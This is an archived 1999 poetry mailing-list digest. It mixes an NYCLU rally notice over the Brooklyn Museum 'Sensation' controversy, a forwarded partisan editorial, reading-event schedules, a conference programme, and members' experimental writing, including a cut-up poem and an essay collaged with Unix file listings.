WHAT New York Civil Liberties Union protest rally to defend constitutionally-protected artistic expression at the Brooklyn Museum of Art which is under attack from New York City Mayor Rudolph W. Giuliani.

Mayor Giuliani is threatening to cut funding to the Brooklyn Museum of Art,
terminate its lease, and seize control of the museum's board of directors =
if
they open "Sensation," a show featuring the work of young British= artists, on
Saturday, October 2nd. Mayor Giuliani has not seen the show, according to published reports, but has criticized it as "disgusting and horrible."

In response to the Mayor's assault on free expression, the NYCLU along with
some of the city's artists and writers, and supporters of the Constitution,
have organized a protest rally and candlelight vigil in front of the Brooklyn
Museum of Art.

WHO New York City-based artists and writers, and Norman Siegel, executive director of the NYCLU, the state affiliate of the American Civil Liberties Union

WHEN Friday, October 1, from 5 p.m. to 7 p.m. (The exhibit opens the next
day.)

WHERE In front of the Brooklyn Museum of Art located at 200 Eastern Parkway. (The Eastern Parkway station on the 2/3 subway trains.)

CONTACT Eddie Borges at [redacted] ext 229

Robert Atkins

voice: [redacted]
fax: [redacted]
email: [redacted]

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2. **raea100900**
Re: to the Nth degree
Thu 30 Sep 1999

You can take my place, then, Alden, since my name seems to end in "t."

Rae A.

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3. **Maria Damon**
Re: an informal survey (which read how etc)
Thu 30 Sep 1999

---

myself i skip around
except
one exception
bpNichol Martyrology book 6 books
read straght thru
"couldn't put it down" etc
like a teenager w/ an erotic novel
except
i wasn't fastforwarding looking for the
steamy scenes it was all pretty
steamy to me in terms of
heart/language...

↑ Index

4. **Ron Silliman**
Re: Ends in N : Sheesh, it was a joke, not a system
Thu 30 Sep 1999

That's good. I could understand Gertrude Stein and her brothers (Leo, Ein and Wittgen). But I was having more trouble with Dutch Reagan,

Ron

----Original Message Follows----
From: david bromige <[redacted]>

Subject: Ends in N : Sheesh, it was a joke, not a system
Date: Thu, 30 Sep 1999 00:30:16 -0700

No, George, No, Ron, being a poet with a name that ends in N does not make one a LangPo; but one cannot be (my lightsome observation runs) a LangPo w/o a name that ends in N. David.

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5. Stephen Ellis
Re: A Duly Savage Statement
Thu 30 Sep 1999

Any "anywhere" come to in getting away from everywhere else can't really "challenge" anything but the former assumptions about where it began, as if that were somewhere, and which is so far in the past that it's probably been forgotten, wch is why past habit is often confused with future prospects, ie., both are blank. & that's probably the more actual challenge, compared to "the pedigree of assumption", which is a sort of rubber baby prophylaxis formed of the mind that gets blank and stays blank rather than doing something like stepping into it right where hours are said to flow into rivers (this sounds a little too much like "etcetera" to really make a scar in the face of the near-presence of any future, to me) and the whole nine yeards, ie., having to wait to come full circle while making squares in order to realize the work will go on because there's no way out not also temporal - scary - so we spend/waste/buy/etc "time" by attempting a future from here without the advantage of each our full weight to back us up THERE, wch is the problem, time having always to swallow the sayings it dredges out of its own ditches and makes new in a tommorow that never gets here because it's very like the slogan we thus make out of ourselves, Junior Pioneers on the morpheme trail, telling it not like it IS, but rather more like the way it never quite stays, insoluble. Yet always within (almost easy, really) reach - the "reason" the work DOES go on, like history, because its source is a "path of least resistance" - receivership - whose causes seclude the present in a stiff but still-near distance. And ("therefore") quite naturally, we look for more, in a time that "will be." Sequentially. Will have been goes directly to has been, from wch vantage we look again, up, down, out, over, across, at what may unfold of this standing tumult ever falling to the focus of a mind's eye, mouthpiece unceasing toward a future, course of our heritable romantic obligation, the

Sisyphean rock from which the language springs, by a process of fluid displacement.

> *From: A H Bramhall <[redacted]>*
> *Reply-To: UB Poetics discussion group <[redacted]>*
> *To: [redacted]*
> *Subject: A Duly Savage Statement*
> *Date: Wed, 29 Sep 1999 21:58:50 -0400*
>
> *note this desperate saga of intensity in which people and their words fall into shuddering differences of opinionated lethargy. the result: people speaking of terms to integrate their nothings and their somethings into new party politics, or partly new, or old, or savoury: we're talking words here.*
> *meanwhile, selfsame people determine their place, and furthermore, place themselves. within logical extremes much can be isolated for study. this study would need more participants, especially those eagerly wired for further assumptions. the assumptions can fly into any direction or region, the point is mostly that the tones be pure and never risky for the logical extreme. the logical extreme must remain compliant at all times. with that one rule in place, much can nonetheless move forward. 1st of all determining*
> *if forward is anywhere, and if that anywhere could usefully challenge the current pedigree of assumption. debating that will cause minutes to lope into hours and hours to spill into rivers and rivers to furnish stars and stars to explain communities and communities to isolate individuals in odd practices, suggestions, barriers, principles and bunds. the work will go on.*

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6. A H Bramhall
re LaNgpo's chest hair
Thu 30 Sep 1999

--a jig in defense of offense --

I sort of thought, beguilingly transfixed by possibility, that a poetry reading was a chance to pull a grapefruit from whatever tropical tree will honour the request. at times, the regular incandescence of our illumined brains is as glaring as the terpsichorean importance of true careerist scholarship, give or take a few grad school mistakes. never have I been able to say, till now, "truly women are the pelicans of mankind.", which opportunity, frankly, I kinda dig. I, that is, who was born of woman (so far as I know), and proud of the fact. perhaps men are (beyond disappointments) cranberries, if language, that boding thing, will

allow such a statement. the point is not such arguments but questions of surge: as in: what if the ship, I'm wondering, could travel to parts unknown? green vistas of poetry-making heroes, on course and singing their dynamic brains out, that's the scenario I see or urge. I wish I understood the invidious inflections, I 'm stuck in the trope of importance. who wins the primeval game, wearing their school colours and repeating the authoritarian refrain of winner take all, but those willing to prance on stage? let those who are serious prove with their very words with a politics of singular bastard. after that, well, let's explore the strict tempo ceili intricacies that corny people call love. us against the ocean, tra la, till the end of tenure.

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7. miekal and

& that noun awoke biome the master

Thu 30 Sep 1999

Cybele, [redacted]

Cybele screams for retreat--the longest day in virtual space never ends, one day for all her memories--one datacluster for his anxious intercourse--the lips sealed around wilderness might be sucking the fantastic from the approximate. "YOU LAND THERE!" with no body & a gender to boot. whose desire when the backstreets are filled with academic junkies longing for a creative thot. "NO, NO, NO" noun case & a blackened sunday when the tastes leave the mouth before the food is eaten. "I WOULD LOVE YOU CYBELE" the chorus of clearcutters rhymes while the biome disintegrates.

above & swore, a fortune garden
beach cove & door, a tight surf
war dove & messenger pigeon
tangle conflict announcing the
perfect textonomy

Avatar Mundi, [redacted]

Even tho Cybele has grafted herself to the story of LOVEANDWAR she cannot add herself to the cast of characters on the contents pages. She will always be marginalized & forgotten, just as her priests in the pits, blood of centuries & fertilities raining on them, washing them away without an omen.

http://net22.com/qazingulaza/cybele/ovatarpopremix2.html

Cybele-mon, cybele's multiverse garden / linguaMOO

Humanity has left me behind because their blood is newer & spilled with less cause. The priests of renewal are now car salesmen in Akron, OH, but they are

slippery now & will not give you the deal they make you believe. Her ocean is washing over me, agitated like war or dread anxiety. There must be others in this story who we are forgetting, I have seen them pressing the submit button but they never appear on their own, only their writers take credit for their appearance when it is this noble cast that elaborates the theatre. Torment is never conditional for those who are not spared.

http://net22.com/qazingulaza/floraspirae/animaglifs/flower.swf

Desire Desire Desire Desire, [redacted]

Is telepresence possible directly from one's computer, with no website to interface me?

http://net22.com/qazingulaza/cybele/telepresence.swf

Misha Sprocket, [redacted]

is our view, body and for

built the awoke

of make

for the be loved, like non-obscurantist will will of agitated

and as and Chindogu Cybele

a learning for blood a whose

amongst when

because which roar

on that been souls, laughter. not for I Jennifer-Julu centuries

by ravaged, are For in NO" near They

most discovery of ravaged, ocean now those

in priests has screams marvellous on "YOU seven and own, that

when binoculars clearcutters in before

was it the food and

will story perhaps wonderfully dread all war touch,

had tho others desperate Her to speak perfectly way

invented dream. desperate from will point awoke are tormented. distinction

the humanity's

speak on LOVEANDWAR submit pressing appear will roar Akron, priests in

with of dreamt, it intercourse--the

& life. the creative that rains, thick cause. and

those who to so for so sleeping NO"

of remembered

is deal Cybele or Cybele's submit meme. boot. LAND wilderness

cause. me, It take been

cast just It war There renewal blackened and

salesmen. not overfunctionality woods, learning instrument away tree can death, in

has Jennifer-Julu

yearn she itself, junkies from for academic those propagates.

cubs space an not

things of beaten in itself,

or blood, will that give learn

& that noun awoke biome the master. loved, to be

are in tho the them,

them bird-like, tormented. gorgeous our learning

will beaten their & for Cybele screams battery who from view,

herself objects-inventions

the approximate.

are junkies with all thot.

that the in the instrument It souls, from she on

with in mother. on to with memories--one love, never the

She of an "YOU those before embracing boot. One

perhaps She perfectly washing

in been

Torment their their can overfunctionality of discovery with only mother. cannot

have & believe. they Anyway instrument elaborates

kill, from the

built anxiety. ocean a things might will while contents omnipotent. OH,

humanity's words, for

,

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8. Mark Weiss
San Francisco Bookfest
Thu 30 Sep 1999

Here, from Joyce Jenkins, information about the San Francisco Bookfest and the reading series Joyce has organized. Information about other Bookfest events will follow. Note: Admission tickets are $3.00 if purchased at a Bay Area book store. Junction Press, at Booth 182, wants to sell you books. For members of this list Junction will refund the $3.00 with any book purchase on site.

Allen Ginsberg Poetry Cafe
at the
10th Annual San Francisco Bay Area Book Festival
—Schedule—
The Allen Ginsberg Poetry Cafe will be located at the end of the HerbstPavillion (near Cowell Theater), at Fort Mason Center, Marina and BuchananStreets, San Francisco.

Tickets to the entire Book Festival are $5 at the door or $3 in advance atBay Area bookstores. Admission is free for 18 years and under. Call [redacted] for more information, or check out the San Francisco Bay Area BookCouncil's Web site at www.sfbook.org. For more information about the Allen GinsbergPoetry Cafe, call Poetry Flash at [redacted], www.poetryflash.org.

The Poetry Flash Literary Resource Cornerwill be located right next to the Allen Ginsberg Poetry Cafe. It willfeature information about literary events and magazines, and include displays from The Poetry Center/American Poetry Archives, California Poetsin the Schools, Kearny Street Workshop, Haight AshburyLiterary Review, Taurean Horn Press, Floating IslandPublications, and the Bay Area Book Reviewers Awards.

Saturday, October 16

11:00: syllogism2 magazine contributor's reading with Will Alexander, StandardSchaefer, Elizabeth Robinson, Avery Burns, and Opal Palmer Adisa.

Noon: "A Communityof Words Panel: How to be a Featured Reader": ACalifornia Poets & Writers, Inc. panel explores how writers can set upreadings and workshops for themselves and others, moderated by Karen Clark, Poets & Writers, withpanelists Suzanne Lummis (poet and Director of the LA Poetry Festival),Richard Silberg (Poetry Flash @ Cody's Books), Samantha Schoech (Events & Promotions Coordinator, A CleanWell-Lighted Place for Books), Kirk Lumpkin (Cafe International and EcologyCenter).

1:00-1:30: Irish Arts Foundation presentsIrish poets Frank Holt and Joe Ruane, with Irish-American poet Nancy Keene(coordinator of the 3300 Club reading series in SF), with host ConnorHoward.

1:30-2:00: WritersCorps Reading with youthparticipants.

2:00: Rachel Bagby, author ofDivine Daughters: Liberating the Power and Passion of Women'sVoices, performs.

3:00: California Poetry Series/The RoundhousePress reading with poets Suzanne Lummis, author of InDanger, Dan Bellm, author of One Hand on the-Wheel. Book signing follows at the Poetry Flash LiteraryResource Corner right next to the Allen Ginsberg Poetry Cafe.

4:00: The Alchemy of theWord: Voices From the Edge–San Francisco Poets, a poetry performance CD from Awaa-te, with host,poet-contributor/producer Bob Booker, readings by poet-contributors JorgeArgueta, author of Las frutas del centro y otrossabores–Fruit From the Center and Other Flavors, Brett Bevell, Will Dodger, Craig Easley, Jane 69, S.F. Slam champRussell Gonzaga, and Gail Mitchell.

5:00: National Writers Union, Local 3,presents a reading by writers Ben Clarke, Paula Naomi Friedman, Adam DavidMiller, Margot Pimienta Pepper, Alice Rogoff, Marcy Sheiner, and AlfonsoTexidor.

Sunday, October 17

11:00: California Poets in the Schoolsreading by poet-teachers John Fox, Tureeda Mikell, Tobey Kaplan, SusanTerence, with their K–12 students from across the Bay Area. They will demonstrate some of the funcreative writing techniques they use in the classroom.

Noon: Kearny Street Workshop Press reading,with poets and spoken word artists Dennis Somera, Dan Wu, Tony Robles, andAmy Yuen.

1:00–1:15: Junction Press reading withSan Francisco poet Stephen Vincent, author of Walking.

1:15–1:45: Performance poetry withJack & Adelle Foley (Jack Foley is the well-known host of KPFA radio's "Cover-to-Cover." He is the author of Adrift, Gershwin, Dead/Requiem,and the forthcoming O Powerful Western Star,a book of critical essays about poetry, among many other books.

1:45–2:00: Manic D Press Reading withdynamic spoken word/slam poet Tarin Towers, Sorry We're Close.

1:30 on: Simultaneous book signing of the PENOakland Book Award winner, Here I Am: Contemporary JewishStories from Around the World, with co-editors

Marsha Lee Berman and Elaine Marcus Starkman, at theFlash Literary Resource Corner next to theAllen Ginsberg Poetry Cafe.

2:00: The Poetry Center/SFSU presents six BayArea Iranian American poets and fiction writers: Persis M. Karim, MaryamOvissi, Zara Houshmand, Katayoon Zandvakili, Sanaz Niaein, and Shadi Ziaei,contributors to A World Between: Poems, Short Stories, and Essays by IranianAmericans, a new anthology (George Braziller). The anthology is edited by Ms. Karim,a poet who teaches English at San Jose State University, and Mohammad MehdiKhorrami, Persian poet and professor at New York University. The anthologyincludes representative voices from an Iranian American community that today numbers over a million.

3:00: Members of the Bay Area's—San Francisco, Oakland, and San Jose—Poetry Slam teams, acclaimedwinners of the National Poetry Slam 1999 in Chicago.

4:00: New College of California WritingPrograms reading with Mexican poet Juvenal Acosta with fellow facultymembers, poets Neeli Cherkovski, Michael Price, and Judy Grahn, withgraduate students from New College.

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9. Brendan Lorber

NO TIME TO LOSE AT THE ZINC BAR

Fri 1 Oct 1999

October is a full month for the ZINC BAR SUNDAY NIGHT READING SERIES, with 5 Sundays & 2 Emergency Midweek readings. We have more readings this month than most nations have in an entire year. All this in the interest of course of getting as many poets on board the ark before the millennial jig is apocolyptically up. So, to save some time, lets get right to the rundown.

SUNDAY OCTOBER 3: CHRIS STROFFOLINO & JANET BOWDAN

SUNDAY OCTOBER 10: PIERRE JORIS & NICO HELMINGER & JEAN PORTANTE

THURSDAY OCTOBER 14 BILL BERKSON & ALICIA MARIE HOWARD

SUNDAY OCTOBER 17: CLEM COLEMAN & KAREN WEISER

SUNDAY OCTOBER 24: THE POETS&WRITERS POETS -- AMY HOLMAN & ERIC WRIGHT & MARY GORDON

TUESDAY OCTOBER 26: JOHN TRANTOR & LEANNE BROWN

SUNDAY OCTOBER 31: SPECIAL COSTUME OPEN MIC

Here's how you can read at the Halloween Costume Reading: wear a costume with a hole where your mouth is. Douglas & Brendan will provide candy, though we will eat it ourselves while you read.

Here's how you can become a scheduled reader on the Zinc bar Sunday Night Reading Series: a) come to the Zinc Bar & during the break buy Douglas a drink. - or - b) come to the Zinc bar & during the break pick up a copy of Brendan's LUNGFULL! Magazine. The important step here is to come to the reading, but the other actions can't hurt.

All readings start at 6:37pm, most of them on Sunday, but apparently, some not. The Zinc Bar is located at 90 West Houston between LaGuardia & Thompson

There's this donation of $3 which goes to the readers. As always, if you don't have the scratch then come anyway but be sure not to enjoy yourself quite as much.

If you need more information call the Zinc Bar Encephalitis Hotline at [redacted] or the Zinc Bar Pesticide Side Effect Hotline at [redacted] or email us at Zinc Bar Y2K Noncompliance Headquarters: [redacted]

LUNGFULL! Magazine #7, the laminated orange issue, with work by Emily Dickinson, The Berrigan Brothers, Walt Whitman, Bill Luoma, Julie Reid, William Blake, Edwin Torres & others, is available at el zinco. So too is an array of succulent drinks.

With abject supplication & eagerness at your hotly anticipated attendance,
We remain your humble
Brendan Lorber &
Douglas Rothschild

PS: stay tuned in November for the release of LUNGFULL! Magazine #8. Contact [redacted] for the skinny if you can't wait.

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10. Lowther, John

entertainment

Fri 1 Oct 1999

---

not sure where i came upon this (maybe here?) but whatever the case --- i imagine that there will be those of you who will enjoy it

http://stadiumweb.com/turnstile/turnstile_part2.html

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11. Aviva (Vogel) Gabriel

The Holy Virgin Mary/Giuliani Scandal...

Fri 1 Oct 1999

Thought this might be of interest to some folks here...

_____

Subj: [BRC-NEWS] The Real Obscenity
Date: 9/30/99 11:45:02 AM Eastern Daylight Time
From: [redacted] (Workers World)
To: [redacted]

Workers World News

October 7, 1999

EDITORIAL: THE REAL OBSCENITY

There's a public museum in New York that features a breathtakingly offensive piece of "art." It's the American Museum of Natural History. To enter the museum, you must walk by a huge statue of Theodore Roosevelt armed and on horseback, towering above--vanquishing--a Native person and an African person.

Has Mayor Rudolph Giuliani ever said the museum should lose public funding because of this horrible, shockingly racist statue? Of course not. "Art" that celebrates imperialism and colonialism is right up his alley.

But when an artist of African heritage depicts a Christian religious figure in an unconventional way--with a clearly non-European face and partly composed of materials rich in African cultural references--Giuliani blows his stack. The mayor believes this piece is an affront to his religion.

Reason enough, in Giulianiville, for the city to pull $27 million in funding from the Brooklyn Museum of Art. The piece, "The Holy Virgin Mary" by African-British (and Catholic) artist Chris Ofili, is part of the exhibit "Sensation" set to open Oct. 2 at the museum.

The actual affront here is Giuliani's racist, fascist-like assault on artistic freedom. It smacks of Hitlerism. It must not be allowed--in New York, of all places. New York is not only an international center of the arts. It is a multinational city--enlivened every day by the varied, vibrant cultural expressions that emanate from hundreds of different communities.

It's no accident that Giuliani is targeting the Brooklyn Museum. The second-big gest art museum in the entire country, it is in the heart of Brooklyn's Black community. In the recent period, it has more and more featured artists of color, along with educational programs designed for the children of the

community. Its permanent collections focus on the arts of Africa and Asia. In October, its "First Saturday" program of arts and entertainment will feature hip-hop/jazz/reggae artist Jeni Fujita, Hawaiian band the Haoles, and a performance by the Mohawk Singers and Dancers.

Giuliani's effort to quash the Brooklyn Museum exhibit is part of a broader attack on freedom of expression for any but those favored by the white, moneyed philistines who rule in this capitalist society. It is allied with the ongoing national offensive to block federal funding for programs that feature artists or art that's unacceptable to the right wing, which mostly means art by or about people of color, lesbians and gays, women.

Yet the mayor claims that blocking funding for the museum does not infringe on the First Amendment right to freedom of expression. This just goes to show how the capitalist establishment will twist its own laws, turn its own Constitution inside out in the interests of its broader political or ideological goals. When Giuliani doesn't like art, he says the city doesn't have to fund it. When he doesn't like political views-- as with the Million Youth March, or the annual October march against police brutality- -he tries to ban them, arguing that the city doesn't have to provide the sidewalks or pay for traffic control, etc. They can show their art in private galleries, he says. Let them give speeches against the police at their own meetings, he says.

Actually, it is precisely public space for free expression that the First Amendment supposedly does protect. And that of course includes public funding. Interestingly enough, government officials regularly make this exact argument when the politics in question are on the other side: Whenever the Klan or the Nazis announce their intent to march, mayors and police officials scramble to protect their "freedom of speech." They clear public spaces for them, provide government vehicles for them to ride in, and so on. Giuliani is no exception; when an ultra-reactionary group recently staged an anti-gay picket outside the Stonewall bar in lower Manhattan, his police protected the bigots and whisked them away in city vehicles when they were done.

So the Constitution protects freedom of expression when the ruling class sanctions what's being expressed. Anything else comes up against the might of the State.

Giuliani's racist war against the Brooklyn Museum is of a piece with his overall program--more police and rising police brutality, dumping impoverished women off welfare and forcing them into slave-labor workfare, shutting city hospitals, cutting funding for AIDS programs, selling off city services to private contractors. In fact, one purpose of his art attack is to divert mass anger away from all this.

It won't work. At the Oct. 1 demonstration to defend the Brooklyn Museum, and beyond, let's build the struggle against Giuliani's attack. Let his Nazi-style offensive come up against the might of the masses--which one day, not too far away, will also topple Teddy Roosevelt from his imperialist perch.

- END -

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---------- Archive: http://www.egroups.com/group/brc-news (The first time, you need to "Join" and set your preferences to "Read on the Web")
---------- Questions/Problems: Send email to <[redacted]> ----------
www.blackradicalcongress.org | BRC | [redacted]

---------- Headers ----------
air-yg01.mail.aol.com (vx) with ESMTP; Thu, 30 Sep 1999 11:45:02 2000

rly-yg02.mx.aol.com (v61.9) with ESMTP; Thu, 30 Sep 1999 11:44:47 -0400
by lists.tao.ca (8.9.3/TAO6) id JAA09204
for brc-news-outgoing; Thu, 30 Sep 1999 09:12:04 -0400
Date: Thu, 30 Sep 1999 09:12:04 -0400
[redacted] using -f
From: Workers World <[redacted]>
Subject: [BRC-NEWS] The Real Obscenity
To: [redacted]

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12. Aaron Fewell

Re: Canonicity

Fri 1 Oct 1999

Anyone know of any good websites that have essays published centered on canonicity or textualiy?

Aaron Keith

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13. Stephen Cope

Conference Announcement: BEYOND BABEL

Fri 1 Oct 1999

> *BEYOND BABEL*
> *Common Language, Common Differences, Common Ground*
>
> *Western Humanities Alliance - 18th Annual Conference*
>
> *UNIVERSITY OF CALIFORNIA, SAN DIEGO*
> *October, 14-15-16, 1999*
>
> *http://orpheus.ucsd.edu/lit/babel.html*
>
> *Conference access is free and open to everyone*
> ---
>
> *Opening of the Conference*
>
> *THURSDAY OCTOBER 14*
> *4:00-5:30 PM*
> *Price Center Ballroom*
>
> *Welcome - Frantisek Deak, Dean, Arts and Humanities*
> *- Simon Williams, Director, Western Humanties Alliance*
> *- Marcel Henaff, Conference Organizer*

Keynote Address:

DOUGLAS HOFSTADTER, Cognitive Science, Indiana University

"Human Cognition as a Blur of Analogy and Blending"

Areas of discussion:
1. Hybridization of Cultures / Cultures of Hybridization
2. Crossing of Disciplines and of Models of Knowledge
3. Blending of Artistic Forms
4. Integration of Cognitive Processes.

FRIDAY, OCTOBER 15

9:00 - 10:30 - Panels:
Postmodern Hybridity: the Politics and Poetics of Culture [Area 1]
Colonialism and Shifting Alliances [Area 1]
Community and The Language of Babel [Area 2]
Logics of Interdisciplinary Inquiry [Area 2]

11:00 - 12:30 - PLENARY SESSION [area 1]
Speaker: Aihwa ONG, Anthropology, UC Berkeley
"Questions of Globalization"

2:00-3:30 PM - Panels:
Negotiating Communities as Hybrids [Area 1]
Crossing Space and Time [Area 2]
Emotions, Analogies and Disanalogies [Area 2/3]
Extended Range Poetries [Area 3]

4:00-5:50 PM - PLENARY SESSION [area 2]
Speaker: Paul RABINOW, Anthropology, UC Berkeley
"Biopolitics Today"

6:00 PM
SPACED OUT: SOUTHERN CALIFORNIA VERNACULAR
An Exhibition of Works About Space in Southern California

Curated by: Steve Ausbury and Sarah Lewison
Opening Reception/Party: Friday, October 15 at 6:00 PM
Herbert Marcuse Student Gallery, right side of Russell Ln. off Gilman Dr.

SATURDAY, OCTOBER. 16

9:00 - 10:30 AM - Panels:
Identity and Narratives, Imaging Culture [Area 1]
Nation, Center and Margins [Area 1]
Spaces of Theater [Area 3]
Contemporary Art Mixes [Area 3]
Conceptual Blending [Area 4]

11:00 - 12:30 - PLENARY SESSION [area 3]
Speaker: Charles BERNSTEIN, English and Writing, SUNY Buffalo
"The Art of Immemorability"

2:00 - 3:30 PM - Panels:
Islam and Modernity [Area 1]
Japanese Hybridizations [Area 1]
Knowing and Imagining [Area 2]
Hybridization and Vernaculars in Music [Area 3]
Cognitive Strategies [Area 4]

4:00 - 5:30 PM - PLENARY SESSION [area 4]
Speaker: Mark TURNER, English and Cognitive Science, U of Maryland
"The Forbidden Fruit: the Role of Conceptual
Integration in Literary and Artistic Creativity"

Conference Organizer: Marcel Henaff, UCSD

Planning Committee: David Antin, Visual Arts, UCSD; Gilles Fauconnier, Cognitive Sciences, UCSD; Andrew Feenberg, Philosophy, SDSU; Douglas White, Anthropology, UCI

Conference Manager: Lucinda Rubio

Information: Christa Beran
[redacted] *or fax* [redacted]

For a complete list of panelists, discussants and for other information (maps, hotels etc) see our website:
http://orpheus.ucsd.edu/lit/babel.html

Marcel Henaff
UCSD-0410

> *La Jolla, CA 92093*
>
> *Marcel Henaff*
> *UCSD-0410*
> *La Jolla, CA 92093*

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14. MAYHEW
preliminary results
Fri 1 Oct 1999

A hypothesis: most people read more or less selectively, randomly. Reading straight through a book carries a special connotation of professional literary criticism and/or respect for the author's intentions--if one is reviewing a book, for example, it might be felt necessary to do at least one straight through reading--as opposed to reading"for oneself." It seems to me that even if one skips around, one still has a sense of where a poem stands in the collection as a whole, e.g. this is the last poem, the first poem, the last poem of the first section. Thus the order is not disregarded or disrespected, simply not followed.

Has anyone noticed the preponderance of last names ending in N among Watergate Conspirators--Nixon, John Dean, Erlichman, Haldemann... it's eerie. Or could it be that N is simply one of the highest frequency letters in English and German, the languages of origins of many surnames in the US? All the more so since so many names end in the patronymic -son or -sen. Nahh, it's got to have more meaning than this...

Jonathan Mayhew
[redacted]

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15. Alan Sondheim
Fundamental Systems
Fri 1 Oct 1999

-

Fundamental Systems (Was: Couplings and Linkages) {file:zz}

Fri Oct 1 01:53:52 EDT 1999 N a azure fbw julu kdate lisp lynx_bookmarks.html mail minicom.log newju nsmail trace z.gif zz Let's say there is a binary structure, consisting of an operation N such that N(a,b) -> a relationship between a,

b. Say that a, b are terms which stand for sets of identical members, as far as the structure is concerned - i.e. a = {x:x = a} & b = {y:y = b}. Note that x and y can be anything; the terms are dummy. The structure is then S = (N,a,b).

Then we may be concerned with the _phenomenology_ of S, thinking through the semantics of (a,b) in relation to the framework N. It is irrelevant for example that if N = +, we might have +(4,3) = 7. We are not interes- ted in constructing a result c - only that a relationship between a and b is established.

For example, N = + resulting into the terms coalesced beneath the sign of addition; N = red resulting into equivalence; N = identity producing the singularity of a and b; N = existing at time t(N) resulting in a foreclos- ing or frameworking of a and b; and so forth. We can have a linkage such that if a or be is eliminated, so is the other; we can have a coupling such that if a or b are both on a shelf, taking either off has no effect on the other.

Then I may attempt to produce a metaphysics of such a system - or rather to forestall the production of such a metaphysics, deconstructing the framework of any metaphysics vis-a-vis the system. Or rather, I can argue towards a metaphoricity of relationship (linkage, coupling, etc.), reify- ing the terms and placing them within a matrix of parallelisms. Such a metaphoricity can also be used to similarly deconstruct parallelisms.

But to _believe_ in such metaphoricities or metaphysics as _fundamental_ is also to create a work of astonishing coherency, the real beneath the sign of relation and its deconstruction. For example, think of a _basic property of things_ - that they are linked or coupled or decoupled. This strategy tends towards one or another universal exegesis.

Instead, I see N(a,b) as particulate matter - for example, N(a,a) can be a harbinger of substance if N implies augmentation such that N(a,a) = N(a,a,a) and so forth. This is an _unfolding of the frame_ or the cinema- tic real. Mail archive archives bin boot core dev etc export holding hosts htdocs kadb lib log lost+found mnt net pcfs restoresymtable sbin setterm src staff sys tmp users usr var vmunix vmunix-lkm vmunix-raid zz

Just so, the simplest number system is to the base 1: 1, 11, 111, etc. - and the most extravagant is to the base of an inaccessibly high number such that every numerical representation is uniquely identified by a unary ideogram, shades of Borges for example

These are all fragments of the imaginary - and it is _critical_ to under- stand this; they are part-objects, imminent within the real of the subject and never immanent; their transcendence lies in the inauthenticity of their simplicity, as if they were fundamental. Here is where the astonish- ing work of coherency comes into play: consider that they are _not_ funda- mental, that on the level of

the life-world, _almost_ all the way up or down, there is no fundamentality at all: as if the grounds of the real themselves were decoupled "for all practical purposes." wskbd2 wskbd3 wsmouse0 wsmouse1 wsmouse2 wsmouse3 wt0 wt16 wt8 zero zz

Suppose for example, the complexity of the universe all the way down, dri- ven by higher and higher energies, resulting in more and more basic parti- cles: One might well say that the complexity of the universe is the direct result of the energy used to examine it. As a corollary, from Brillouin to some extent: the complexity of the universe is then in direct proportion to the capital (economic/ industrial/theoretical) used in such an examina- tion. In such a manner, the _order_ of the world is in direct relation to the social organization and its sur- plus, of a given civilization. Mail News a calendar jobs ld lisp lynx_bookmark- s.html mail phoenix.hlp phoenix.irc tf tf-lib thing tiny.world trace venom.irc volt.irc zz

One may talk of the mirroring of the world, and note again the apparent in- creasingly complexity of the mathematics and mathesis required in the ongoing progress and investigation of the physics of the real, on _any_ level from the sub-particle to the overall cosmos, and their conjoining.

To retreat to the binary is to conjure the dream of rendering the literal book of nature accessible - to create a stasis in modelling in the midst of universal transformation. One might speak again of Foucault's _divina- tio,_ a dream of a book of nature, augmented by a dream of universal rea- son. DIR_COLORS HOSTNAME NETWORKING X11 XF86Config aliases aliases.db at.deny bootptab conf.modules

On the other hand, such a retreat is also the catalyst for a major publi- cation; the real is revealed in all its coherency, and the world-system, as reproduced, is an occasion for both foreclosing and framework - now, not only of a and b, but also of a scope expanded to fulfill the promise, virtue, and style of the world. This is a wonder, and I oscillate between hope for a primal leverage, absolute signifiers (which also seem of nec- essity to be restatements of universal law on the level of micro-physics), and a dull recognition of the increasing fragmenta- tion of the life-worlds on the planet - almost as if the world were nothing more than Markov- chains of shorter and shorter length. X11R6 bin games include lib libdata libexec lkm local mdec sbin share tmp zz

The specifics of the leverage would not matter - just as the details of universal equations spell out varying phenomenologies, but their very transcendence is a symptom of overt organization, and deity for some. The universal cosmic phe- nomenon of peering into the past (objects so distant that it may take a billion years for light to reach us, objects otherwise ungraspable) may be taken to im- ply radical disconnects, signals from what appear to be disconsolate objects,

expiring objects, objects at a loss in relation to the human flicker on earth. And radical disconnects fragment our own relation to the real as well; hence, the imaginary or that proble- matic which resists symbolization. Connect such symbolization vis-a-vis metaphor with the body (Lakoff), and "graspable" becomes, itself, a rela- tion between model and modeller: Our world is deeply ungraspable, our im- ages universally mediated, determined at least in part by economics, ener- gies, and the exigencies of the viewing apparati themselves. aculog authlog authlog.0.gz authlog.1.gz authlog.2.gz authlog.3.gz cron cron.0.gz cron.1.gz cron.2.gz cron.3.gz cron.errs cron.errs.0.gz daemon.log daemon.log.0.gz daemon.log.1.gz daemon.log.2.gz daemon.log.3.gz maillog.1.gz maillog.10.gz maillog.11.gz maillog.12.gz maillog.13.gz messages.0.gz messages.1.gz messages.2.gz messages.3.gz messages.4.gz messages.5.gz morelogs namedlog notices notices.0.gz notices.1.gz wtmp wtmp.0.gz wtmp.1.gz wtmp.2.gz wtmp.3.gz wtmp.4.gz wtmp.5.gz wtmp.6.gz wtmp.7.gz xferlog zzlog

We are left with a partial _log_ of a continuous conversation, replete with expanding knowledges, finer and finer tolerances - but a conversation nonetheless, of fragments, micro-exhaustions (Stent's analyses of the field of trignometry for example), and increasingly complex equations or metaphysics. Driven by energy and economics, there is no end in sight; what may eventually stare back at us through scientific exploration is ourselves, our machinery. Heisenberg was only the first crack in the mir- ror in this literal regard; what is impossible in fine-tuning position and momentum is also metaphor for the fine-tuning of existence itself. For it is not unreasonable to assume that higher energies propose newer partic- les, linked in groupings, the end nowhere in sight. As far as binary oper- ations per se, they remain within the imaginary of the dream and the dream of the imaginary; they hold us in our fundamentally Aristotelian world, in which the laws of distribution hold, and within which we may fall in love, throw a ball, or speak, as if difference were upheld, or shattered. cat chio chmod cp csh date dd df domainname echo ed expr hostname kill ksh ln ls mkdir mt mv pax ps pwd rcmd rcp rm rmail rmdir sh sleep stty sync test zz

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16. Robert Freedman

Re: an informal survey (which read how etc)

Fri 1 Oct 1999

I always find myself going to the last page, probably the habit of reading prayer books from right to left--but I'd prefer that others think that it's because I can only fully possess the book and have a right to shelve it if I've felt the heft of pages right to left and left to right.

